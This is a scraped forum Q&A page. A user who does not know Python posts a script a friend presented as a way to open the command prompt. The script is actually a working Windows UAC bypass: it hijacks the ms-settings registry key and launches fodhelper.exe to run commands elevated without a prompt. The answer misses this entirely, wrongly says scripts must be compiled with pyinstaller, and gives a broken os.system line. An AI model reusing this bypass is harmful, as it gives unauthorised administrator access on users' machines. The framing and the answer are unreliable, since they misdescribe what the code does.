简体   繁体   中英

can you open command prompt with python?

can you open command prompt with python? my friend gave me this, but it does not work when i try it.

(note: i do not know python)

import os
import sys
import ctypes
import _winreg
​
CMD                   = r"C:\Windows\System32\cmd.exe"
FOD_HELPER            = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD            = "python"
REG_PATH              = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
​
def is_running_as_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''    
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False
​
def create_reg_key(key, value):
    '''
    Creates a reg key
    '''
    try:        
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise
​
def bypass_uac(cmd):
    '''
    Tries to bypass the UAC
    '''
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise
​
def execute():        
    if not is_running_as_admin():
        print '[!] The script is NOT running with administrative privileges'
        print '[+] Trying to bypass the UAC'
        try:                
            current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
            cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
            bypass_uac(cmd)                
            os.system(FOD_HELPER)                
            sys.exit(0)                
        except WindowsError:
            sys.exit(1)
    else:
        print '[+] The script is running with administrative privileges!'        
​
if __name__ == '__main__':
    execute()

If you are not using any GUI module then the script opens in the command prompt by default.

But to run the python file in the command prompt, you need to compile it into an exe, use the pyinstaller module for that.

pip install pyinstaller

Now navigate to the folder with the python file.

pyinstaller --onefile your-file.py

If you want to run any command of your own, add the line

os.system('your-command-here)

The command inside the brackets will be run as a command prompt command.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM